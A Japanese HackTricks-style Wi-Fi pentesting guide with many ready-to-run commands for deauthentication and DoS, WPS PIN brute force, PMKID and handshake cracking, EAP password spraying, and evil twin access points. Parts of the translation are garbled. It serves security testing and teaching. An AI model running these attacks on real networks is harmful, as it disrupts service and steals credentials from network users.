.. | ||
evil-twin-eap-tls.md | ||
README.md |
Wifiのペンテスト
**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ** こちら!
HackTricksをサポートする他の方法:
- HackTricksで企業を宣伝したいまたはHackTricksをPDFでダウンロードしたい場合は、サブスクリプションプランをチェックしてください!
- 公式PEASS&HackTricksグッズを入手する
- The PEASS Familyを発見し、独占的なNFTコレクションを見る
- 💬 Discordグループまたはtelegramグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。**
- ハッキングトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。
HackenProof Discordサーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
ハッキングの洞察
ハッキングのスリルと挑戦に深く入り込むコンテンツに参加
リアルタイムハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていく
最新の発表
最新のバグバウンティの開始や重要なプラットフォームのアップデートに関する情報を入手
Discordに参加して、今日からトップハッカーと協力を始めましょう!
Wifi基本コマンド
ip link show #List available interfaces
iwconfig #List available interfaces
airmon-ng check kill #Kill annoying processes
airmon-ng start wlan0 #Monitor mode
airmon-ng stop wlan0mon #Managed mode
airodump-ng wlan0mon #Scan (default 2.4Ghz)
airodump-ng wlan0mon --band a #Scan 5Ghz
airodump-ng wlan0mon --wps #Scan WPS
iwconfig wlan0 mode monitor #Put in mode monitor
iwconfig wlan0mon mode managed #Quit mode monitor - managed mode
iw dev wlan0 scan | grep "^BSS\|SSID\|WSP\|Authentication\|WPS\|WPA" #Scan available wifis
iwlist wlan0 scan #Scan available wifis
ツール
EAPHammer
git clone https://github.com/s0lst1c3/eaphammer.git
./kali-setup
Airgeddon
Airgeddonは、無線ネットワークの監査、攻撃、テスト、およびセキュリティオプションを提供する多機能ツールです。
mv `which dhcpd` `which dhcpd`.old
apt install isc-dhcp-server
apt-get install sslstrip asleap bettercap mdk4 hostapd beef-xss lighttpd dsniff hostapd-wpe
Dockerを使用してairgeddonを実行する
docker run \
--rm \
-ti \
--name airgeddon \
--net=host \
--privileged \
-p 3000:3000 \
-v /tmp:/io \
-e DISPLAY=$(env | grep DISPLAY | awk -F "=" '{print $2}') \
v1s1t0r1sh3r3/airgeddon
wifiphisher
Evil Twin、KARMA、およびKnown Beacons攻撃を実行し、その後フィッシングテンプレートを使用してネットワークの実際のパスワードを取得したり、ソーシャルネットワークの資格情報をキャプチャしたりすることができます。
git clone https://github.com/wifiphisher/wifiphisher.git # Download the latest revision
cd wifiphisher # Switch to tool's directory
sudo python setup.py install # Install any dependencies
Wifite2
このツールはWPS/WEP/WPA-PSK攻撃を自動化します。自動的に以下を行います:
- インターフェースをモニターモードに設定します
- 可能なネットワークをスキャンし、被害者を選択できます
- WEPの場合 - WEP攻撃を開始します
- WPA-PSKの場合
- WPSの場合:Pixieダスト攻撃とブルートフォース攻撃(ブルートフォース攻撃には時間がかかる可能性があるため注意が必要です)。ヌルPINやデータベース/生成されたPINは試しません。
- APからPMKIDをキャプチャしてクラックを試みます
- APのクライアントを切断してハンドシェイクをキャプチャしようとします
- PMKIDまたはハンドシェイクがある場合、top5000のパスワードを使用してブルートフォース攻撃を試みます。
攻撃の概要
- DoS
- サービス拒否
- Deauthentication/disassociation -- すべての人を切断します(または特定のESSID/クライアント)
- ランダムな偽のAP -- ネットワークを隠し、スキャナーをクラッシュさせる可能性があります
- APの過負荷 -- APを破壊しようとします(通常はあまり役に立ちません)
- WIDS -- IDSと遊ぶ
- TKIP、EAPOL -- 一部のAPをDoSするための特定の攻撃
- クラッキング
- WEPのクラック(複数のツールと方法)
- WPA-PSK
- WPSピン「ブルートフォース」
- WPA PMKIDのブルートフォース
- [DoS +] WPAハンドシェイクのキャプチャ + クラック
- WPA-MGT
- ユーザー名のキャプチャ
- ブルートフォース資格情報
- Evil Twin(DoSあり/なし)
- オープンEvil Twin [+ DoS] -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するのに役立ちます
- WPA-PSK Evil Twin -- パスワードを知っている場合にネットワーク攻撃に役立ちます
- WPA-MGT -- 企業の資格情報をキャプチャするのに役立ちます
- KARMA, MANA, Loud MANA, Known beacon
- + オープン -- キャプティブポータルの資格情報をキャプチャしたり、LAN攻撃を実行するのに役立ちます
- + WPA -- WPAハンドシェイクをキャプチャするのに役立ちます
DOS
Deauthentication Packets
ここからの説明: こちら.
Deauthentication攻撃は、Wi-Fiハッキングで一般的な方法で、"管理"フレームを偽造してデバイスをネットワークから強制的に切断することを含みます。これらの暗号化されていないパケットは、クライアントを正規のネットワークから来たものと信じ込ませ、攻撃者がWPAハンドシェイクを収集してクラックするため、またはネットワーク接続を持続的に妨害するために使用されます。この単純さにもかかわらず、広く使用されており、ネットワークセキュリティに重要な影響を与えています。
Aireplay-ngを使用したDeauthentication
aireplay-ng -0 0 -a 00:14:6C:7E:40:80 -c 00:0F:B5:34:30:30 ath0
- -0 は切断を意味します
- 1 は送信する切断の数です(複数送信することもできます);0 は連続して送信します
- -a 00:14:6C:7E:40:80 はアクセスポイントのMACアドレスです
- -c 00:0F:B5:34:30:30 は切断するクライアントのMACアドレスです;これを省略するとブロードキャスト切断が送信されます(常に機能しない場合があります)
- ath0 はインターフェース名
切断パケット
切断パケットは、Wi-Fiネットワークで使用される管理フレームの一種であり、切断パケットは、デバイス(ラップトップやスマートフォンなど)とアクセスポイント(AP)との接続を切断するために使用されます。切断と切断の主な違いは、使用シナリオにあります。APは不正なデバイスをネットワークから明示的に削除するために切断パケットを送信しますが、切断パケットは通常、APがシャットダウン、再起動、または移動中であり、それによりすべての接続されたノードを切断する必要がある場合に送信されます。
この攻撃はmdk4(モード"d")によって実行できます:
# -c <channel>
# -b victim_client_mac.txt contains the MAC address of the device to eliminate
# -e WifiName is the name of the wifi
# -B BSSID is the BSSID of the AP
# Notice that these and other parameters aare optional, you could give onli the ESSID and md4k will automatically search for it, wait for finding clients and deauthenticate them
mdk4 wlan0mon d -c 5 -b victim_client_mac.txt -E WifiName -B EF:60:69:D7:69:2F
mdk4によるさらなるDOS攻撃
**こちら**で。
攻撃モードb: ビーコンフラッディング
クライアントに偽のAPを表示するためにビーコンフレームを送信します。これにより、ネットワークスキャナーさえクラッシュすることがあります!
# -a Use also non-printable caracters in generated SSIDs and create SSIDs that break the 32-byte limit
# -w n (create Open) t (Create WPA/TKIP) a (Create WPA2/AES)
# -m use real BSSIDS
# All the parameters are optional and you could load ESSIDs from a file
mdk4 wlan0mon b -a -w nta -m
攻撃モードa: 認証サービス拒否
範囲内のすべてのアクセスポイント(AP)に認証フレームを送信すると、特に多数のクライアントが関与する場合、これらのAPを過負荷にすることができます。この激しいトラフィックはシステムの不安定さを引き起こし、一部のAPがフリーズしたり、リセットされたりする可能性があります。
# -a BSSID send random data from random clients to try the DoS
# -i BSSID capture and repeat pakets from authenticated clients
# -m use real MACs
# only -a or -i can be used
mdk4 wlan0mon a [-i EF:60:69:D7:69:2F] [-a EF:60:69:D7:69:2F] -m
攻撃モード p: SSIDプロービングとブルートフォース
アクセスポイント(AP)のプロービングは、SSIDが適切に公開されているかを確認し、APの範囲を確認します。このテクニックは、単語リストを使用してまたは使用せずに非表示のSSIDをブルートフォースすることで、隠されたネットワークを特定およびアクセスするのに役立ちます。
攻撃モード m: マイケル対策の悪用
異なるQoSキューにランダムまたは重複パケットを送信すると、TKIP APでマイケル対策がトリガーされ、1分間のAPシャットダウンが発生します。この方法は、効果的なDoS(サービス拒否)攻撃戦術です。
# -t <BSSID> of a TKIP AP
# -j use inteligent replay to create the DoS
mdk4 wlan0mon m -t EF:60:69:D7:69:2F [-j]
攻撃モード e: EAPOL Start および Logoff パケットのインジェクション
アクセスポイントに EAPOL Start フレーム を大量に送信することで 偽のセッション を作成し、アクセスポイントを圧倒し、正規のクライアントをブロックします。代わりに 偽の EAPOL Logoff メッセージ をインジェクトすることでクライアントを強制的に切断し、いずれの方法もネットワークサービスを効果的に妨害します。
# Use Logoff messages to kick clients
mdk4 wlan0mon e -t EF:60:69:D7:69:2F [-l]
攻撃モード s: IEEE 802.11s メッシュネットワーク向けの攻撃
メッシュネットワークにおけるリンク管理やルーティングに対するさまざまな攻撃。
攻撃モード w: WIDS 混乱
クライアントを複数の WDS ノードや偽のローグ AP にクロス接続することで、侵入検知および防止システムを操作し、混乱を引き起こし、潜在的なシステム乱用をもたらすことができる。
# -z activate Zero_Chaos' WIDS exploit (authenticates clients from a WDS to foreign APs to make WIDS go nuts)
mkd4 -e <SSID> -c <channel> [-z]
攻撃モード f: パケットファズナー
パケットファズナーは、さまざまなパケットソースとパケット操作のための包括的な修飾子セットを備えたものです。
Airggedon
Airgeddon は、前のコメントで提案された攻撃のほとんどを提供します:
WPS
WPS(Wi-Fi Protected Setup)は、WPAまたはWPA2 Personalで暗号化されたネットワークのセットアップ速度と簡単さを向上させるために、デバイスをルーターに接続するプロセスを簡素化します。WEPセキュリティは簡単に侵害されるため、WPSは効果がありません。WPSは、2つの半分で検証される8桁のPINを使用し、組み合わせの数が限られているため、総当たり攻撃に対して脆弱です(11,000通りの可能性)。
WPSブルートフォース
このアクションを実行するための主要なツールは2つあります: ReaverとBully。
- Reaver は、WPSに対する堅牢で実用的な攻撃を行うよう設計されており、さまざまなアクセスポイントとWPSの実装に対してテストされています。
- Bully は、Cで書かれたWPSブルートフォース攻撃の新しい実装です。オリジナルのreaverコードよりもいくつかの利点があります: 依存関係が少ない、メモリとCPUのパフォーマンスが向上している、エンディアンの処理が正しく行われている、より堅牢なオプションが用意されています。
この攻撃は、特にWPS PINの脆弱性を悪用しており、最初の4桁が露出しており、最後の桁がチェックサムとしての役割を果たしているため、総当たり攻撃が容易になっています。ただし、攻撃を継続するために、攻撃者のMACアドレスをブロックするなどの総当たり攻撃に対する防御策は、MACアドレスのローテーションを要求します。
BullyやReaverなどのツールを使用してWPS PINを取得した後、攻撃者はWPA/WPA2 PSKを推測し、持続的なネットワークアクセスを確保できます。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -b -f -N [-L -d 2] -vvroot
bully wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -S -F -B -v 3
スマートブルートフォース
この洗練されたアプローチは、既知の脆弱性を利用してWPS PINをターゲットにします:
- 事前に発見されたPIN: 特定のメーカーが一貫して使用する既知のPINのデータベースを活用します。このデータベースは、MACアドレスの最初の3つのオクテットをこれらのメーカーのための可能性のあるPINに関連付けます。
- PIN生成アルゴリズム: ComputePINやEasyBoxなどのアルゴリズムを活用します。これらは、APのMACアドレスに基づいてWPS PINを計算します。Arcadyanアルゴリズムには、デバイスIDが追加され、PIN生成プロセスにレイヤーが追加されます。
WPS Pixie Dust攻撃
Dominique Bongard は、一部のアクセスポイント(AP)における秘密コードの作成に関する欠陥を発見しました。これらはノンス(E-S1およびE-S2)として知られています。これらのノンスを特定できれば、APのWPS PINをクラックすることが容易になります。APは、PINを特別なコード(ハッシュ)で公開し、それが正規で偽(ローグ)APでないことを証明します。これらのノンスは、実質的にWPS PINを保持する「セーフ」を開くための「鍵」です。詳細はこちらで確認できます。
簡単に言うと、問題は、一部のAPが接続プロセス中にPINを暗号化するための十分にランダムでないキーを使用していなかったことです。これにより、PINがネットワーク外から推測されやすくなりました(オフラインブルートフォース攻撃)。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -K 1 -N -vv
bully wlan1mon -b 00:C0:CA:78:B1:37 -d -v 3
もしデバイスをモニターモードに切り替えたくない場合や、reaver
やbully
に問題がある場合は、OneShot-Cを試すことができます。
このツールは、モニターモードに切り替える必要なくPixie Dust攻撃を実行することができます。
./oneshot -i wlan0 -K -b 00:C0:CA:78:B1:37
Null Pin attack
いくつかの設計が甘いシステムは、Null PIN(空のまたは存在しないPIN)でもアクセスを許可してしまうことがあり、これはかなり珍しいです。Reaverツールは、Bullyとは異なり、この脆弱性をテストすることができます。
reaver -i wlan1mon -b 00:C0:CA:78:B1:37 -c 9 -f -N -g 1 -vv -p ''
Airgeddon
提案されたすべてのWPS攻撃は、airgeddon を使用して簡単に実行できます。
- 5と6は、カスタムPIN(あれば)を試すことができます
- 7と8はPixie Dust攻撃を実行します
- 13はNULL PINをテストできます
- 11と12は、選択したAPに関連するPINを利用可能なデータベースから再収集し、ComputePIN、EasyBox、オプションでArcadyan(おすすめ、なぜなら)を使用して可能なPINを生成します
- 9と10はすべての可能なPINをテストします
WEP
今日では壊れて使われていない。airgeddon には、この種の保護を攻撃するための"All-in-One"というWEPオプションがあります。他のツールも同様のオプションを提供しています。
HackenProof Discord サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
ハッキングの洞察
ハッキングのスリルとチャレンジに深く入り込むコンテンツに参加しましょう
リアルタイムのハックニュース
リアルタイムのニュースと洞察を通じて、ハッキングの世界の速いペースについていきましょう
最新の発表
最新のバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
Discord で私たちに参加し、今日からトップハッカーと協力を始めましょう!
WPA/WPA2 PSK
PMKID
2018年、hashcat は、1つのパケットだけで済み、攻撃対象のAPにクライアントが接続されていなくても、攻撃者とAPとの間の相互作用だけで済むというユニークな新しい攻撃方法を公開しました。
多くの現代のルーターは、関連付け中に最初のEAPOLフレームにオプションフィールドを追加します。これはRobust Security Network
として知られるもので、PMKID
を含みます。
元の投稿によると、PMKIDは既知のデータを使用して作成されます:
PMKID = HMAC-SHA1-128(PMK, "PMK Name" | MAC_AP | MAC_STA)
与えられた「PMK Name」が一定であることから、APとステーションのBSSID、そしてPMK
が完全な4ウェイハンドシェイクからのものと同一であることがわかっている場合、hashcatはこの情報を使用してPSKを解読し、パスフレーズを回復することができます!
この情報を収集し、ローカルでパスワードをブルートフォースするには、次の手順を実行できます:
airmon-ng check kill
airmon-ng start wlan0
git clone https://github.com/ZerBea/hcxdumptool.git; cd hcxdumptool; make; make install
hcxdumptool -o /tmp/attack.pcap -i wlan0mon --enable_status=1
#You can also obtains PMKIDs using eaphammer
./eaphammer --pmkid --interface wlan0 --channel 11 --bssid 70:4C:A5:F8:9A:C1
キャプチャされたPMKIDsはコンソールに表示され、また**/tmp/attack.pcap内に保存されます。
次に、キャプチャをhashcat/john**形式に変換してクラックします:
hcxtools/hcxpcaptool -z hashes.txt /tmp/attack.pcapng
hashcat -m 16800 --force hashes.txt /usr/share/wordlists/rockyou.txt
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
正しいハッシュの形式には4つの部分が含まれています。例: 4017733ca8db33a1479196c2415173beb808d7b83cfaa4a6a9a5aae7566f6461666f6e65436f6e6e6563743034383131343838
もし3つの部分しかない場合、それは無効です(PMKIDキャプチャが有効ではありませんでした)。
hcxdumptool
はハンドシェイクもキャプチャします(次のようなものが表示されます: MP:M1M2 RC:63258 EAPOLTIME:17091
)。cap2hccapx
を使用してハンドシェイクをhashcat/john形式に変換することができます。
tcpdump -r /tmp/attack.pcapng -w /tmp/att.pcap
cap2hccapx pmkid.pcapng pmkid.hccapx ["Filter_ESSID"]
hccap2john pmkid.hccapx > handshake.john
john handshake.john --wordlist=/usr/share/wordlists/rockyou.txt
aircrack-ng /tmp/att.pcap -w /usr/share/wordlists/rockyou.txt #Sometimes
このツールでキャプチャされた一部のハンドシェイクは、正しいパスワードを知っていてもクラックできないことに気づきました。可能であれば、従来の方法でもハンドシェイクをキャプチャするか、このツールを使用して複数のハンドシェイクをキャプチャすることをお勧めします。
ハンドシェイクのキャプチャ
WPA/WPA2 ネットワークへの攻撃は、ハンドシェイクをキャプチャしてパスワードをオフラインでクラックすることによって実行できます。このプロセスには、特定のネットワークとBSSID、特定のチャンネル上の通信を監視することが含まれます。以下は簡略化されたガイドです:
- ターゲットネットワークのBSSID、チャンネル、および接続されたクライアントを特定します。
airodump-ng
を使用して、指定されたチャンネルとBSSID上のネットワークトラフィックを監視し、ハンドシェイクをキャプチャしようとします。コマンドは次のようになります:
airodump-ng wlan0 -c 6 --bssid 64:20:9F:15:4F:D7 -w /tmp/psk --output-format pcap
- シェイクハンドをキャプチャする可能性を高めるために、一時的にクライアントをネットワークから切断して再認証を強制します。これは、
aireplay-ng
コマンドを使用して行うことができます。このコマンドは、クライアントに切断パケットを送信します。
aireplay-ng -0 0 -a 64:20:9F:15:4F:D7 wlan0 #Send generic deauth packets, may not work in all scenarios
クライアントが認証解除されたため、別のAPに接続しようとする可能性があります。また、他の場合では、異なるネットワークに接続しようとすることもあります。
airodump-ng
にハンドシェイク情報が表示されると、ハンドシェイクがキャプチャされたことを意味し、リスニングを停止できます:
ハンドシェイクがキャプチャされたら、aircrack-ng
でそれを クラック できます:
aircrack-ng -w /usr/share/wordlists/rockyou.txt -b 64:20:9F:15:4F:D7 /tmp/psk*.cap
ファイル内のハンドシェイクをチェックします
aircrack
aircrack-ng psk-01.cap #Search your bssid/essid and check if any handshake was capture
tshark
tshark -r psk-01.cap -n -Y eapol #Filter handshake messages #You should have the 4 messages.
cowpatty -r psk-01.cap -s "ESSID" -f -
このツールが完了していないESSIDのハンドシェイクを完了したものよりも先に見つけた場合、有効なものを検出しません。
pyrit
apt-get install pyrit #Not working for newer versions of kali
pyrit -r psk-01.cap analyze
WPAエンタープライズ(MGT)
エンタープライズWiFiセットアップでは、さまざまな認証方法に遭遇します。それぞれが異なるセキュリティレベルと管理機能を提供します。airodump-ng
のようなツールを使用してネットワークトラフィックを調査すると、これらの認証タイプの識別子が表示されることがあります。一般的な方法には次のものがあります:
6A:FE:3B:73:18:FB -58 19 0 0 1 195 WPA2 CCMP MGT NameOfMyWifi
- EAP-GTC (Generic Token Card):
- この方法は、EAP-PEAP内でハードウェアトークンとワンタイムパスワードをサポートしています。MSCHAPv2とは異なり、ピアチャレンジを使用せず、パスワードを平文でアクセスポイントに送信するため、ダウングレード攻撃のリスクがあります。
- EAP-MD5 (Message Digest 5):
- クライアントからパスワードのMD5ハッシュを送信することを含みます。辞書攻撃に対する脆弱性、サーバー認証の欠如、およびセッション固有のWEPキーの生成能力の欠如のため、推奨されていません。
- EAP-TLS (Transport Layer Security):
- 認証のためにクライアント側とサーバー側の両方の証明書を利用し、ユーザーベースおよびセッションベースのWEPキーを動的に生成して通信を保護します。
- EAP-TTLS (Tunneled Transport Layer Security):
- 暗号化されたトンネルを介して相互認証を提供し、ダイナミックでユーザーごと、セッションごとのWEPキーを導出する方法を提供します。クライアントは資格情報を使用し、サーバー側の証明書のみが必要です。
- PEAP (Protected Extensible Authentication Protocol):
- 保護された通信のためにTLSトンネルを作成することで、EAPと同様に機能します。EAPの上に弱い認証プロトコルの使用を許可しますが、トンネルによって提供される保護のために可能です。
- PEAP-MSCHAPv2: PEAPとも呼ばれ、脆弱なMSCHAPv2のチャレンジ/レスポンスメカニズムを保護するTLSトンネルを組み合わせています。
- PEAP-EAP-TLS (またはPEAP-TLS): EAP-TLSと類似していますが、証明書の交換の前にTLSトンネルを開始し、追加のセキュリティレイヤーを提供します。
これらの認証方法に関する詳細情報はこちらおよびこちらで入手できます。
ユーザー名のキャプチャ
https://tools.ietf.org/html/rfc3748#page-27を読むと、EAPを使用している場合、"Identity" メッセージがサポートされている必要があり、ユーザー名は**"Response Identity"メッセージでクリア**に送信されます。
最も安全な認証方法の1つであるPEAP-EAP-TLSを使用していても、EAPプロトコルで送信されるユーザー名をキャプチャすることが可能です。これを行うには、認証通信をキャプチャし(airodump-ng
をチャンネル内で開始し、同じインターフェースでwireshark
を開始)、パケットをeapol
でフィルタリングします。
"Response, Identity"パケットの中に、クライアントのユーザー名が表示されます。
匿名ID
EAP-PEAPおよびEAP-TTLSの両方で、アイデンティティの非表示がサポートされています。WiFiネットワークのコンテキストでは、EAP-Identityリクエストは通常、アクセスポイント(AP)によって関連付けプロセス中に開始されます。ユーザーの匿名性を保護するために、ユーザーのデバイス上のEAPクライアントからの応答には、リクエストを処理する初期のRADIUSサーバーに必要な基本情報のみが含まれます。この概念は、次のシナリオを通じて説明されます:
- EAP-Identity = anonymous
- このシナリオでは、すべてのユーザーがユーザー識別子として擬似的な「anonymous」を使用しています。初期のRADIUSサーバーは、EAP-PEAPまたはEAP-TTLSプロトコルのサーバーサイドを管理する責任があります。その後、内部(保護された)認証メソッドは、ローカルで処理されるか、リモート(ホーム)RADIUSサーバーに委任されます。
- EAP-Identity = anonymous@realm_x
-
この状況では、異なるレルムのユーザーが自分のレルムを示しながらアイデンティティを隠します。これにより、初期のRADIUSサーバーは、ユーザーのホームレルムのRADIUSサーバーにEAP-PEAPまたはEAP-TTLSリクエストをプロキシできます。これらのサーバーはPEAPまたはTTLSサーバーとして機能します。初期のRADIUSサーバーは、単にRADIUSリレーノードとして動作します。
-
代わりに、初期のRADIUSサーバーはEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証メソッドを処理するか、別のサーバーに転送することができます。このオプションは、異なるレルムに対して異なるポリシーを構成することを容易にします。
EAP-PEAPでは、PEAPサーバーとPEAPクライアント間にTLSトンネルが確立されると、PEAPサーバーはEAP-Identityリクエストを開始し、TLSトンネルを介して送信します。クライアントは、この2番目のEAP-Identityリクエストに応答して、暗号化されたトンネルを介してユーザーの実際のアイデンティティを含むEAP-Identity応答を送信します。このアプローチにより、802.11トラフィックを盗聴している人にユーザーの実際のアイデンティティが明らかにされるのを効果的に防ぎます。
EAP-TTLSはやや異なる手順に従います。EAP-TTLSでは、クライアントは通常、TLSトンネルによって保護されたPAPまたはCHAPを使用して認証します。この場合、クライアントは、トンネル確立後に送信される最初のTLSメッセージに、User-Name属性とPasswordまたはCHAP-Password属性を含めます。
選択したプロトコルに関係なく、PEAP/TTLSサーバーはTLSトンネルが確立された後にユーザーの実際のアイデンティティを取得します。実際のアイデンティティは、user@realmまたは単にuserとして表されます。PEAP/TTLSサーバーがユーザーの認証も担当する場合、ユーザーのアイデンティティを取得し、TLSトンネルで保護された認証メソッドを続行します。別の場合、PEAP/TTLSサーバーはユーザーのホームRADIUSサーバーに新しいRADIUSリクエストを転送します。この新しいRADIUSリクエストには、PEAPまたはTTLSプロトコルレイヤーが含まれません。保護された認証メソッドがEAPである場合、内部EAPメッセージはEAP-PEAPまたはEAP-TTLSラッパーなしでホームRADIUSサーバーに送信されます。送信されるRADIUSメッセージのUser-Name属性には、着信RADIUSリクエストからの匿名User-Nameを置き換えるユーザーの実際のアイデンティティが含まれます。保護された認証メソッドがPAPまたはCHAP(TTLSのみでサポートされる)である場合、TLSペイロードから抽出されたUser-Nameおよび他の認証属性が、着信RADIUSリクエストで見つかる匿名User-NameおよびTTLS EAP-Message属性を置き換え、送信されるRADIUSメッセージに代入されます。
詳細については、こちらを参照してください。
EAP-Bruteforce(パスワードスプレー)
クライアントがユーザー名とパスワードを使用することが期待される場合(EAP-TLSはこの場合有効ではありません)、ユーザー名のリスト(次の部分を参照)とパスワードを取得して、air-hammerを使用してアクセスをブルートフォースすることができます。
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
あなたはeaphammer
を使用してこの攻撃を行うこともできます:
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
--essid example-wifi \
--password bananas \
--user-list users.txt
クライアント攻撃の理論
ネットワーク選択とローミング
- 802.11プロトコルは、ステーションが拡張サービスセット(ESS)に参加する方法を定義していますが、ESSまたはそれに含まれるアクセスポイント(AP)を選択する基準を指定していません。
- ステーションは、同じESSIDを共有するAP間をロームし、建物やエリア全体で接続を維持します。
- プロトコルは、ステーションがESSに対して認証することを要求しますが、APがステーションに対して認証することは義務付けていません。
優先ネットワークリスト(PNL)
- ステーションは、接続したすべての無線ネットワークのESSIDを、ネットワーク固有の構成詳細と共に、優先ネットワークリスト(PNL)に保存します。
- PNLは、既知のネットワークに自動的に接続するために使用され、接続プロセスを効率化してユーザーエクスペリエンスを向上させます。
パッシブスキャン
- APは定期的にビーコンフレームをブロードキャストし、存在と機能をアナウンスします。APのESSIDを含む(ブロードキャストが無効になっていない限り)。
- パッシブスキャン中、ステーションはビーコンフレームを受信します。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続する可能性があります。
- デバイスのPNLの知識により、既知のネットワークのESSIDを模倣してデバイスをローグAPに接続させることで潜在的な攻撃が可能となります。
アクティブプロービング
- アクティブプロービングには、ステーションが近くのAPを発見するためにプローブリクエストを送信することが含まれます。
- 指向性プローブリクエストは特定のESSIDをターゲットにし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます(非表示ネットワークであっても)。
- ブロードキャストプローブリクエストにはヌルのSSIDフィールドがあり、すべての近くのAPに送信され、ステーションがPNLの内容を開示せずに任意の優先ネットワークをチェックできます。
インターネットにリダイレクトされるシンプルなAP
より複雑な攻撃を実行する方法を説明する前に、インターフェースをインターネットに接続されたインターフェースにトラフィックをリダイレクトするだけのAPを作成する方法について説明します。
ifconfig -a
を使用して、APを作成するためのwlanインターフェースとインターネットに接続されたインターフェースが存在することを確認します。
DHCP & DNS
apt-get install dnsmasq #Manages DHCP and DNS
/etc/dnsmasq.conf
ファイルを作成します:
interface=wlan0
dhcp-authoritative
dhcp-range=192.168.1.2,192.168.1.30,255.255.255.0,12h
dhcp-option=3,192.168.1.1
dhcp-option=6,192.168.1.1
server=8.8.8.8
log-queries
log-dhcp
listen-address=127.0.0.1
次に、IPアドレスとルートを設定します:
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
その後、dnsmasqを起動します:
dnsmasq -C dnsmasq.conf -d
hostapd
apt-get install hostapd
Create a config file hostapd.conf
:
hostapd.conf
という設定ファイルを作成します:
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
うるさいプロセスを停止し、モニターモードを設定し、hostapdを起動します:
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
フォワーディングとリダイレクト
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
イービルツイン
イービルツイン攻撃は、WiFiクライアントがネットワークを認識する方法を悪用し、基地局(アクセスポイント)がクライアントに認証を要求せずに、主にネットワーク名(ESSID)に依存しています。主なポイントは次のとおりです:
-
区別の難しさ:デバイスは、同じESSIDと暗号化タイプを共有する場合、合法的なアクセスポイントと偽のアクセスポイントを区別するのに苦労します。実世界のネットワークでは、同じESSIDを持つ複数のアクセスポイントがシームレスにカバレッジを拡張するために使用されることがよくあります。
-
クライアントのローミングと接続の操作:802.11プロトコルでは、デバイスが同じESS内のアクセスポイント間をローミングできるようになっています。攻撃者は、デバイスを現在の基地局から切断させ、偽の基地局に接続させることができます。これは、より強力な信号を提供するか、切断パケットやジャミングなどの手法を使用して合法的なアクセスポイントへの接続を妨害することで達成できます。
-
実行上の課題:複数の適切な場所に配置されたアクセスポイントがある環境でイービルツイン攻撃を成功させることは難しい場合があります。単一の合法的なアクセスポイントを切断すると、デバイスが別の合法的なアクセスポイントに接続することがよくあります。攻撃者が近くのすべてのアクセスポイントを切断するか、偽のアクセスポイントを戦略的に配置しなければならない場合があります。
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
あなたはeaphammerを使用してEvil Twinを作成することもできます(eaphammerを使用してEvil Twinを作成するには、インターフェースがモニターモードになっていてはいけないことに注意してください):
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
または、Airgeddonを使用する:オプション:5,6,7,8,9(Evil Twin攻撃メニュー内)。
デフォルトでは、PNL内のESSIDがWPAで保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPをDoS攻撃して、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPをDoS攻撃してWPA Evil Twinを使用してハンドシェイクをキャプチャすることができます(この方法を使用すると、PSKを知らないため、被害者を自分に接続させることはできませんが、ハンドシェイクをキャプチャして解読を試みることができます)。
一部のOSとAVは、オープンネットワークに接続することは危険であるとユーザーに警告するかもしれません...
WPA/WPA2 Evil Twin
WPA/2を使用したEvil Twinを作成することができ、デバイスがそのSSIDにWPA/2で接続するように構成されている場合、接続を試みるでしょう。ただし、4ウェイハンドシェイクを完了するには、クライアントが使用するパスワードを知る必要があります。それを知らない場合、接続は完了しません。
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
エンタープライズ・イービルツイン
この攻撃を理解するためには、まずWPAエンタープライズの説明を読むことをお勧めします。
hostapd-wpeの使用
hostapd-wpe
は動作するために設定ファイルが必要です。これらの設定を自動化するために、https://github.com/WJDigby/apd_launchpadを使用できます(_ /etc/hostapd-wpe/_内のPythonファイルをダウンロードしてください)。
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
設定ファイルでは、ssid、channel、ユーザーファイル、cret/key、dhパラメータ、wpaバージョン、認証など、さまざまな項目を選択できます。
EAP-TLSを使用したhostapd-wpeを使用して、任意の証明書でログインを許可する。
EAPHammerの使用
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
デフォルトでは、EAPHammerはこの認証方法を使用します(平文パスワードを取得するために最初にGTCを試し、その後より堅牢な認証方法を使用します):
